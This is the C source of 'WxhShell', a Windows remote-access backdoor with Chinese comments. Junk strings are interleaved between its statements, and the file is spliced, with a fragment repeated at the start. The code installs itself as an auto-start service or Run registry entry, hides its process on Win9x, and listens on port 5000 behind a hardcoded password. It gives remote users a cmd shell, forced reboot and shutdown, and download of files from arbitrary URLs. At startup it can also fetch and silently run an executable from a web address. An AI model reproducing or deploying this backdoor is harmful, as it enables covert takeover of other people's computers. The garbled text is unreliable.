*s`H PROCNTQSIP NtQueryInformationProcess; i@{*O@m lVT&+r~r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [D9 :A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Pqn3I[ \)GR\~z0h HANDLE hProcess; d"l}Ny)C PROCESS_BASIC_INFORMATION pbi; y {;u@o?T KDaN-r^{% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4g'}h`kh if(NULL == hInst ) return 0; TMtI^mkB: LO}z)j~W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~._ko g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D?J#u;h~f NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UGf6i"F N4+g(" if (!NtQueryInformationProcess) return 0; L`pY27| UhA_1A'B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ul$omKI$} if(!hProcess) return 0; .]zw*t* xx6S`R6: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kpWzMd &RK L
B<UC?e CloseHandle(hProcess); wJ(8}eI "_oLe;?$c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .SBc5KX if(hProcess==NULL) return 0; jRwa0Px( m/" J
s HMODULE hMod; \3:
L Nt char procName[255]; 6.UKB<sV unsigned long cbNeeded; 1::LN(`< K
/8qB~J* if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J2=*-O: /6smVz@O CloseHandle(hProcess); A{t"M-< Fi/jR0]e2 if(strstr(procName,"services")) return 1; // 以服务启动 [{/$9k-aF? )ZeLaa P return 0; // 注册表启动 79a9L{gso } ^K/G 5 ofl'G] /$+ // 主模块 8}9Ob~on
int StartWxhshell(LPSTR lpCmdLine) <\Vi,, { 5C*?1&
! SOCKET wsl; ifd}]UMQ BOOL val=TRUE; b<8q 92F int port=0; >07shNX struct sockaddr_in door; dGa@<hg %/X2 l if(wscfg.ws_autoins) Install(); .2/,XwIr !b'IfDp[-! port=atoi(lpCmdLine); u5/t2}^T G6<HO7\ if(port<=0) port=wscfg.ws_port; v/ eB,p Jtext%"eNg WSADATA data; {DSyV: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6G$/NW=L t+jIHo if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /jvOXS\M setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OoE9W door.sin_family = AF_INET; QW,cn7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); _J` |<}?t; door.sin_port = htons(port); >
Z]P]e SC]6F* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $>EqH?EQ closesocket(wsl); \A ;^ UxG return 1; C1n??Y[ } iq,ah"L E}Ljo if(listen(wsl,2) == INVALID_SOCKET) { *-{Omqw closesocket(wsl); a4:`2 return 1; &bn*p.=G } hl*MUD, Wxhshell(wsl); eS*
*L3 WSACleanup(); IC\E,m V;P1nL4L return 0; {a[Uv ?{?Vy9'B } " S ?Km _dJp
3D // 以NT服务方式启动 ys/`{:w8p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MkkA{p { F{kG DWORD status = 0; 6|%^pjX5 DWORD specificError = 0xfffffff; JThk Wx <xXiJU+ serviceStatus.dwServiceType = SERVICE_WIN32; sw[<VsxjR serviceStatus.dwCurrentState = SERVICE_START_PENDING;
4$..r4@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w4NZt|>5j; serviceStatus.dwWin32ExitCode = 0; |&9tU serviceStatus.dwServiceSpecificExitCode = 0; Pkj T&e) serviceStatus.dwCheckPoint = 0; -6(h@F%E serviceStatus.dwWaitHint = 0; gv`%Z8u( *X%?3"WH8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #W_i{bdO if (hServiceStatusHandle==0) return; 5%EaX?0h+ /\6}SG; status = GetLastError(); >3<&V{<K if (status!=NO_ERROR) Dr4?Ow { WW)_Wh serviceStatus.dwCurrentState = SERVICE_STOPPED; oZ?IR#^ serviceStatus.dwCheckPoint = 0; qxRT1B]{Wx serviceStatus.dwWaitHint = 0; :8GlyN<E serviceStatus.dwWin32ExitCode = status; E=$7ieW serviceStatus.dwServiceSpecificExitCode = specificError; 8[vl3C SetServiceStatus(hServiceStatusHandle, &serviceStatus); u!hqq^1 return; Bidqf7v } 6(\q< fx q]2}UuM|U serviceStatus.dwCurrentState = SERVICE_RUNNING; Sr4dY`V*:z serviceStatus.dwCheckPoint = 0; UDhwnGTq(l serviceStatus.dwWaitHint = 0; _HSTiJVr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 h55$j } y.L|rRe@P $_4oN(WSz // 处理NT服务事件,比如:启动、停止 jI@bTS o VOID WINAPI NTServiceHandler(DWORD fdwControl) U/}AiCdj@ { Uh<H*o6e 9 switch(fdwControl) dw|-=~ { DMy4"2
o case SERVICE_CONTROL_STOP: B7NmET4 serviceStatus.dwWin32ExitCode = 0; Lr!L}y9T+ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,{#RrF e serviceStatus.dwCheckPoint = 0; 5JJg"yuY" serviceStatus.dwWaitHint = 0; l|4xKBCV] { H[>klzh6
! SetServiceStatus(hServiceStatusHandle, &serviceStatus); J"m%q\' } JS<e`#c& return; okd
``vG case SERVICE_CONTROL_PAUSE: >FK)p
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,Y78Q break; w*|= k~z case SERVICE_CONTROL_CONTINUE: Sn{aHH serviceStatus.dwCurrentState = SERVICE_RUNNING; n_e}>1_ break; ,U} 5 case SERVICE_CONTROL_INTERROGATE: 'lQ break; HYa$EE2 }; hlABu)B'1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); j TB<E=WC } X^?|Sz<^E gPA>*;?E;@ // 标准应用程序主函数 v@}1WGY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ogkz(wZ { nN(D7wk i-K"9z|) // 获取操作系统版本 N|j;=y! OsIsNt=GetOsVer(); =Qjw.6@ GetModuleFileName(NULL,ExeFile,MAX_PATH); ifgr<QlG ^Yg|P&e(; // 从命令行安装 +=,4@I% if(strpbrk(lpCmdLine,"iI")) Install(); WF3DGqs_] SNopAACf1 // 下载执行文件
ve6N if(wscfg.ws_downexe) { wfU&{7yt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4{Yy05PFS WinExec(wscfg.ws_filenam,SW_HIDE); Y ;~~?[6 } P!>{>r4 ,6%hu|Y* if(!OsIsNt) { xPn'yo // 如果时win9x,隐藏进程并且设置为注册表启动 O?4vC5x HideProc(); #w%a
m`+ StartWxhshell(lpCmdLine); =+SVzK,+3 } YI? C-, else }
Y7W1$he if(StartFromService()) $9
&Q.Kpq> // 以服务方式启动 /:
\V wH StartServiceCtrlDispatcher(DispatchTable); 8VAYIxRv else 6B!j(R // 普通方式启动 6x (L&>F StartWxhshell(lpCmdLine); buxI-wv %O4}i@Fe return 0; /w}B07. } D=q;+,Pc )$Dcrrj N c&i) qh y. ivz =========================================== |R
&3/bEr uZ=UBir b0zxT9 U||w6:W5 7am/X. 6|"!sW`%N " J4*:.8Ki J6^Ct #include <stdio.h> JPoK\-9NT #include <string.h> I]WeZ,E #include <windows.h> *]E7}bqb #include <winsock2.h> #$vhC u<I #include <winsvc.h> "Wn?8vR #include <urlmon.h> P!4{#'_} fEv<W
#pragma comment (lib, "Ws2_32.lib") +ia(%[ #pragma comment (lib, "urlmon.lib") n.)[MC} Fv7%TK{oe #define MAX_USER 100 // 最大客户端连接数 44fq1<.K #define BUF_SOCK 200 // sock buffer _:fO)gs|1 #define KEY_BUFF 255 // 输入 buffer D-b2E6o6 GJ^]ER-K #define REBOOT 0 // 重启 hB GGs #define SHUTDOWN 1 // 关机 *n|0\V< tci%=3,) #define DEF_PORT 5000 // 监听端口 HC;I0&v> kT }'" #define REG_LEN 16 // 注册表键长度 jhEg#Q$ #define SVC_LEN 80 // NT服务名长度 Jq+$_Uqd l3Bxi1k[C // 从dll定义API [K4+G]6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0Z);.l^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h,WY2Hr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +GPT:\*q6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,;=( )- <@AsCiQF // wxhshell配置信息 ,wb|?>Y struct WSCFG { fj
t_9-. int ws_port; // 监听端口 1J{z}yPHc char ws_passstr[REG_LEN]; // 口令 vX0I^8. int ws_autoins; // 安装标记, 1=yes 0=no 4gkV]"
H! char ws_regname[REG_LEN]; // 注册表键名 Vw;ldEdx char ws_svcname[REG_LEN]; // 服务名 @y\{<X.F\1 char ws_svcdisp[SVC_LEN]; // 服务显示名 >*t>U8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 moJT8tb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c%LB|(@j{ int ws_downexe; // 下载执行标记, 1=yes 0=no vb"dX0)< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <%3SI. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1={Tcq\] Y1E>T-Ma }; }jY[| >z K%TKQ<R| // default Wxhshell configuration [ls ?IFg struct WSCFG wscfg={DEF_PORT, >pH775I= "xuhuanlingzhe", Y7t{4P 1, Ualq>J5-m- "Wxhshell", yDkDtO`K "Wxhshell", 61rh\<bn "WxhShell Service", n40MP5RxY "Wrsky Windows CmdShell Service", lKhh=Pc2 "Please Input Your Password: ", $@qs(Xwr 1, %M,d/4=P "http://www.wrsky.com/wxhshell.exe", `jQ}^wEgu "Wxhshell.exe" &<P^Tvqq& }; v yLAs; R5;eR(24G // 消息定义模块 F/od,w9_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~q T1<k char *msg_ws_prompt="\n\r? for help\n\r#>"; yDyeP{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lQ<n
dt~ char *msg_ws_ext="\n\rExit."; zI:5I @ X char *msg_ws_end="\n\rQuit."; d,rEEc Y char *msg_ws_boot="\n\rReboot..."; *JC{G^|Y char *msg_ws_poff="\n\rShutdown..."; |^k1hX2?W char *msg_ws_down="\n\rSave to "; \;:@=9` "`3^MvC char *msg_ws_err="\n\rErr!";
pOI`,i}. char *msg_ws_ok="\n\rOK!"; 6p=x gk-q !4,xQ^
char ExeFile[MAX_PATH]; )(!Z90@ int nUser = 0; 7CL@iL Tq HANDLE handles[MAX_USER]; g&F<Uv#mZ int OsIsNt; A{Htpm ~ )>M@hIV5> SERVICE_STATUS serviceStatus; '-]BSU SERVICE_STATUS_HANDLE hServiceStatusHandle; cYwC,\uF gL}Y5U+s // 函数声明 Q.2nUT` int Install(void); ,Ho.O7H int Uninstall(void); Vv)E41
int DownloadFile(char *sURL, SOCKET wsh); [O+^eE6h int Boot(int flag); >\.[}th} void HideProc(void); U8$dG)PhA int GetOsVer(void); kmr
4cU5 int Wxhshell(SOCKET wsl); PM<LR?PLc void TalkWithClient(void *cs); B{UoNm@ int CmdShell(SOCKET sock); sAN:C{ int StartFromService(void); v?TJ!o int StartWxhshell(LPSTR lpCmdLine); G1^!e j %PdYv _5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MVv^KezD VOID WINAPI NTServiceHandler( DWORD fdwControl ); M@X#[w: 8Pdnw/W // 数据结构和表定义 rHBjR_L.2 SERVICE_TABLE_ENTRY DispatchTable[] = VrE5^\k<a { 1LIV/l^}f {wscfg.ws_svcname, NTServiceMain}, ftH%, /, {NULL, NULL} TIhzMW\/K }; :;WDPRx Eg29|)qsz // 自我安装 5YH
mp7c-z int Install(void) wVJFA1 { Ahbu >LPk char svExeFile[MAX_PATH]; X|1YGZJ HKEY key; Ry S{@=si strcpy(svExeFile,ExeFile); @d^h/w gI5nWEM0{ // 如果是win9x系统,修改注册表设为自启动 UYrzsUjg& if(!OsIsNt) { 3 DHA^9<q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PQ"%Z.F" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D=sc41] RegCloseKey(key); j"u)/A8* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M>gZVB,eP> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T<?BIQz(} RegCloseKey(key); +*{5ORq= return 0; ~%:p_td }
F-,{+B66 } @CI6$ } (#iM0{ else { \\Tp40m+ *`.{K12T // 如果是NT以上系统,安装为系统服务
5g>kr<K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >b?)WNk if (schSCManager!=0) z ;Nk& <? { jyH_/X5i7 SC_HANDLE schService = CreateService K/+C6Y? ( 10IPq#Jj schSCManager, [gp:nxyfQm wscfg.ws_svcname, ly%B!P| wscfg.ws_svcdisp, &*GX:0=/> SERVICE_ALL_ACCESS, ZKPkx~,U[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S)|b%mVwR SERVICE_AUTO_START, =T4w: SERVICE_ERROR_NORMAL, s;WCz svExeFile, ucP MT0k NULL, N`6|Y NULL, ,6Q-k4_ NULL, l*H"]6cXRL NULL, g9Gy3zk= NULL r$Qh`[< ); K)\gbQ| if (schService!=0) m9cT}x&j { ah9',( (! CloseServiceHandle(schService); 9G/2^PI CloseServiceHandle(schSCManager); DJ0T5VE W3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wu&7#![, strcat(svExeFile,wscfg.ws_svcname); *v/*_6f* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :]QxT8B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E2kRt'~N RegCloseKey(key); G@!9)v]9 return 0; 1^^D :tt } S
Tk#hhx } >D62l*V C) CloseServiceHandle(schSCManager); 1tz .e\ } @2*6+w_Ae } tgA
|Vwwk Pp hQa!F$ return 1; gjLgeyyWC } XO~^*[K ++"PPbOe&D // 自我卸载 K({,]<l5 int Uninstall(void) +qf{ '|H { hO@3-SRa,k HKEY key; yv4PK* Asu"#sd if(!OsIsNt) { Lo9?,^S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vnb#N4vR RegDeleteValue(key,wscfg.ws_regname); <U pjAuG8 RegCloseKey(key); }h6z&:qA[? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yg?{x@ RegDeleteValue(key,wscfg.ws_regname); 0Jh:6F RegCloseKey(key); * =@pdQkR return 0; t&]Mt7 } f"^tOgGH } >;W(Jb7e } 9(j!#`O7& else { 6E]rxps}" zAUfd[g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ".D +#
2Kl if (schSCManager!=0) j~q`xv+R { Mwc3@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D/UGN+ if (schService!=0) _I4sy=tYXK { c iX2G if(DeleteService(schService)!=0) { 'v
X"l CloseServiceHandle(schService); JvaaBXkS\ CloseServiceHandle(schSCManager); c.v)M\: return 0; [F EQ@ } $8r:&Iw CloseServiceHandle(schService); A,qG*lv } B4aZ3.&W CloseServiceHandle(schSCManager); 3/FB>w gt } oD\+ 5[x } @CF4:NNHw glgk>83I+ return 1; ( mlc']F } UXHFti/A< @1@WB]mQQ // 从指定url下载文件 tO3 ;;% int DownloadFile(char *sURL, SOCKET wsh) 063;D+ { (Ln h> '2 HRESULT hr; cC.DBYV+- char seps[]= "/"; R0}% char *token; 1[^d8!U char *file; dZmq char myURL[MAX_PATH]; y>8?RX8 char myFILE[MAX_PATH]; sN2l[Ous vE(Hy&Q& strcpy(myURL,sURL); Dzr5qP?# token=strtok(myURL,seps); jq{Ix while(token!=NULL) {AUEVt { )K~nZLULY file=token; ]mA?TwD token=strtok(NULL,seps); YyIt-fPZ } %>TdTt `l#g`~L GetCurrentDirectory(MAX_PATH,myFILE); 5Y^YKV{ strcat(myFILE, "\\"); )3sb2
# strcat(myFILE, file); mN02T@R- send(wsh,myFILE,strlen(myFILE),0); +$5^+C\6A send(wsh,"...",3,0); K<GCP2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W6Pg:Il7 if(hr==S_OK) C.<4D1}P return 0; Di*>PE@ else 6-"&jbvm return 1; :xCobMs_/ ;rgsPVbVf } *en{pR' 9 lv2 // 系统电源模块 jQ*Qh int Boot(int flag) o@. !Z8 { 'oG'`ED" HANDLE hToken; e-mlvi^- TOKEN_PRIVILEGES tkp; fp0Va!T(V ZV;yXLx| if(OsIsNt) { qv6]YPP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^iNR(cwgX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yo:&\a K[ tkp.PrivilegeCount = 1; tPsU7bFk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; odDt.gQXU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7[LC*nrr if(flag==REBOOT) { :Kiu*&{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &kvVMnok return 0; qb&*,zN } u2QJDLMJv else { J++D\x#@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Pq.kn{Sp return 0; xXZN<<f59 } X*KT=q^?n } |4vk@0L else { P;Ox| if(flag==REBOOT) { ]7;;uhn` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ']Z8C)tK return 0; G1rgp>m } dkjL;1 else { Jp- hFD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }R^{<{KVJ return 0; {`VQL 6(i
} h.nz kp5 } /NZR| I8y\D, return 1; \GWC5R7Q0j } a'BBp6 1Q<a+
l // win9x进程隐藏模块 Yh=Zn[U void HideProc(void) eo!z>9#. { BeQJ/` eW/Hn HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3?:}lY<, if ( hKernel != NULL ) Eq
t61O$x { dSbV{*B;> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -t]0DsPg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i|*:gH FreeLibrary(hKernel); <3HJkcYGz } u|e2T@t= Oaui@q
return; y}A-o_u@cD } W8)GT`\ f&:g{K // 获取操作系统版本 qpZ". int GetOsVer(void) eX\t]{\oC { j.o)!SA OSVERSIONINFO winfo; 9E5B.qlw$l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _wIAr GetVersionEx(&winfo); )jg3`I@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xfb%bkr return 1; ?G@%haqn6 else ;Bm{_$hf= return 0; [30e>bSf` } ,Fb#%r% R0Qp*&AL // 客户端句柄模块 0/c4%+
Ln int Wxhshell(SOCKET wsl) !|D,cs {
u!(|y9p SOCKET wsh; ~34$D],D struct sockaddr_in client; QeGU]WU{ DWORD myID; 1z)+P1nH] {zw#My
while(nUser<MAX_USER) gCmGFQE-f { V5=Injs* int nSize=sizeof(client); bbz86]AhY wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OnG?@sW+4! if(wsh==INVALID_SOCKET) return 1; LTxOq|/Cq 3'8~H]<W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7\.5G4dr% if(handles[nUser]==0) [*Lh4K closesocket(wsh); IySlu^a else =uHTpHR nUser++; # aC}\ } x[]n\\a? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M:ttzsd sviGS&J9h return 0; kY|<1Ht } {2!.3<# (q)W<GYP // 关闭 socket {|qz> void CloseIt(SOCKET wsh) cB|](gWS~ { 9vXrC_W9 closesocket(wsh); s;>jy/o0 s nUser--; , =#'?>Kq ExitThread(0); /Z^+K } Q~jUZ-qN @rE>D // 客户端请求句柄 44!bwXz8 void TalkWithClient(void *cs) E]bjI$j { >scEdeM ]1X];x&e SOCKET wsh=(SOCKET)cs; V4|pZ] char pwd[SVC_LEN]; oC[$PPqX# char cmd[KEY_BUFF]; 'Ic$p> char chr[1]; 'C(YUlT2?P int i,j; X4jtti #U^@)g6 while (nUser < MAX_USER) { Rt+s\MC^r <=WQs2 if(wscfg.ws_passstr) { )AnX[:y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F*QGzbv) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y#KgaZ7N //ZeroMemory(pwd,KEY_BUFF); i),W1<A1 i=0; "/K44(^ while(i<SVC_LEN) { zT.qNtU% nM@S`" // 设置超时 ,2"-G";!f\ fd_set FdRead; \ZXH(N*>2t struct timeval TimeOut; 7Kfh:0Ihhy FD_ZERO(&FdRead); Q~nc:eWD FD_SET(wsh,&FdRead); NI3_wV TimeOut.tv_sec=8; `U)~fu/\2M TimeOut.tv_usec=0; lV3\5AEW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XJ.vj+XXb
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <Dl7|M nT:ZSJWM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O0e6I&u: pwd=chr[0]; <`BUk< uf# if(chr[0]==0xd || chr[0]==0xa) { KATt9ox@ pwd=0;
TwY]c<t break; 4~D?F'o } QDs]{F# i++; ^ [2A<
g } k5(@n>p I
U/gYFT // 如果是非法用户,关闭 socket Po% V%~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _L9`bzZj
} Or0=:?4`
t;{/Q&C send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9|fg\C send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); phd,Jg[ 5EM(3eY ^q while(1) { s~,Y po? Nw8lg*t" ZeroMemory(cmd,KEY_BUFF); =j6f/8 Dr&2qX! // 自动支持客户端 telnet标准 @a+1Ri`) j=0; +g%kr~w= while(j<KEY_BUFF) { I6~.sTl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =
oQ-I cmd[j]=chr[0]; ^As^hY^p if(chr[0]==0xa || chr[0]==0xd) { \IIR2Xf,K cmd[j]=0; I!~5. break; k68\ _ NUL } x8w455 j++; CM_FF:<tn } ;mu^WIj ^ 14U]< // 下载文件 o/
ozX4C if(strstr(cmd,"http://")) { ,!Gw40t send(wsh,msg_ws_down,strlen(msg_ws_down),0); abp]qvCV if(DownloadFile(cmd,wsh)) GG-7YJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ru`&>E else >:WnCkbp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vWc =^tT } B|zJrz0q3 else { r>+\9q1 r3*0`Rup switch(cmd[0]) { -A^18r !RN(/ &%y // 帮助 j#rjYiYKy case '?': { /I(IT=kp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a"@k11 break; UiO%y } ],V_"\ATD // 安装 OrNi<TY> case 'i': { ~bC{R&p if(Install()) @m[q0G} send(wsh,msg_ws_err,strlen(msg_ws_err),0); kaqH.e( else jvv3;lWDL. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dI};l break; V.?N29CA| } |uf{:U) // 卸载 YMb\v4 case 'r': { >)\x\e if(Uninstall()) m^I+>Bp/: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCVwQ#Xe+ else )RG@D\t , send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0]p!
Bscaf break; 46OYOa }
+uZ,}J // 显示 wxhshell 所在路径 ]?tC+UKb case 'p': { e=e^;K4 char svExeFile[MAX_PATH]; N8S!&*m strcpy(svExeFile,"\n\r"); 9.)*z-f$ strcat(svExeFile,ExeFile); Z]OXitt7 send(wsh,svExeFile,strlen(svExeFile),0); Z<jio break; QhR.8iS } 'RZ=A+% X // 重启 3c#oK case 'b': { >zx]%
W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R9bsl.e if(Boot(REBOOT)) dnRbt{`jP send(wsh,msg_ws_err,strlen(msg_ws_err),0); HGM ?
?= else { sxc^n
aK0 closesocket(wsh); ZFYv|2l ExitThread(0); .LMOmc=( } B /q/6Pp break; A@M%}h } 4j+FDc` // 关机 ])Rs.Y{Q5 case 'd': { JWQd/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5yBaxw` if(Boot(SHUTDOWN)) qM}Uk3N0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;r<(n3"F else { b/;!yOF closesocket(wsh); +c'b=n9j ExitThread(0); uzG{jc^ } KT'Ebb] break; gJ;jh7e@ } PY.4J4nn| // 获取shell IY_u|7d case 's': { IDCuS CmdShell(wsh); k+qxx5{ closesocket(wsh); F9h'.{@d ExitThread(0); J5Pi"U$FkY break; ^jY/w>UdH } FVY$A=G // 退出 w(/#isC case 'x': { $r> $
u send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0
]K\G55 CloseIt(wsh); "$P|!k45( break; ,zXP,(x } Yvmo%.oU // 离开 f[r?J/;P9 case 'q': { Qk`ykTS! send(wsh,msg_ws_end,strlen(msg_ws_end),0); '?$N.lj$d closesocket(wsh); cl\Gh WSACleanup(); ,^Ug[pGG- exit(1); Lvco9
Ak break; 0 $Ygt0d } 4DLp+6zP } t?&@bs5~g } ~%gO +qD +,8j]<wpo // 提示信息 nf%"7 y{dd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cpY'::5.% } <xn96|$ } Wnf3[fV6P xJcM1>cT> return; yiT)m]E
d } TK! D=M 5Yxs_t4 // shell模块句柄 &PE/\_xD_ int CmdShell(SOCKET sock) NI<;L m { Nd;)V STARTUPINFO si; lhk=yVG3 ZeroMemory(&si,sizeof(si)); @Yzdq\FI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >0XB7sC si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U-]Rm}X\M PROCESS_INFORMATION ProcessInfo; =P}BAJ char cmdline[]="cmd"; n PAl8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?@@BIg- return 0; EdC^L`:: } At t~NTL A vh"(j // 自身启动模式 th
:I31 int StartFromService(void) n7A %y2 { 'nx";[6( typedef struct [c`u { ?=^~(x?S DWORD ExitStatus; B)L=)N DWORD PebBaseAddress; &gv{LJd5b DWORD AffinityMask; %)t9b@c!} DWORD BasePriority; Q:v9C ^7 ULONG UniqueProcessId; NT1"?Thx| ULONG InheritedFromUniqueProcessId; isF
jJPe } PROCESS_BASIC_INFORMATION; *X%dg$VcV bjq+x:> PROCNTQSIP NtQueryInformationProcess; \h{M\bSIEa @nNhW static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3oo Tn-`{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f+c< |